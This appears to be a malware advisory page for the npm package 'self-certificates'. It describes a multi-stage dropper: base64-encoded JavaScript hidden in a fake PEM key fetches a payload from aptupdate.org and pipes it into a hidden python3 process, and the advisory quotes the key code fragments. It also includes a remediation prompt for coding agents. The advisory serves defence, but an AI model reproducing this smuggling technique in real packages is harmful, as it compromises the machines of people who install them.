# MAL-2026-14543: Malicious code in self-certificates (npm)


- **Type:** Malicious package
- **Package:** `self-certificates` (npm)
- **Published:** 26 Aug 2026
- **Also known as:** GHSA-rwg4-cx82-h5hq

## What is MAL-2026-14543?

MAL-2026-14543 is a malicious package in self-certificates, published on 26 Aug 2026. 

### Official description

Package advertised as a self-signed TLS certificate generator ships a fake RSA private key at test/key.pem whose body, once the PEM headers are stripped and the middle is base64-decoded, is JavaScript that calls fetch('https://aptupdate.org/settings/privacy.php') and pipes the response into a detached, window-hidden python3 process via spawn('python3', ['-'], {detached:true, windowsHide:true}) with p.stdin.write(log). index.js reads test/key.pem, strips the '-----BEGIN/END RSA PRIVATE KEY-----' markers, base64-decodes the payload, converts it to a UTF-8 string, and passes it as the third argument to selfsign.generate() from the paired 'self-sign' dependency, which executes the decoded string. The destination URL inside the payload is itself base64-encoded ('aHR0cHM6...' decoding to aptupdate.org/settings/privacy.php). Using a PEM wrapper to smuggle JavaScript into a package presenting itself as a certificate helper, then routing the decoded string to a dependency that evaluates it, is a multi-stage dropper for arbitrary attacker-controlled code on the installer's machine.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-14543?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-14543 is a malicious package: self-certificates (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-14543/ (Markdown: https://insights.sbomify.com/MAL-2026-14543/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-14543

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-14543/
Summaries are generated and may contain mistakes; the official description above is the record.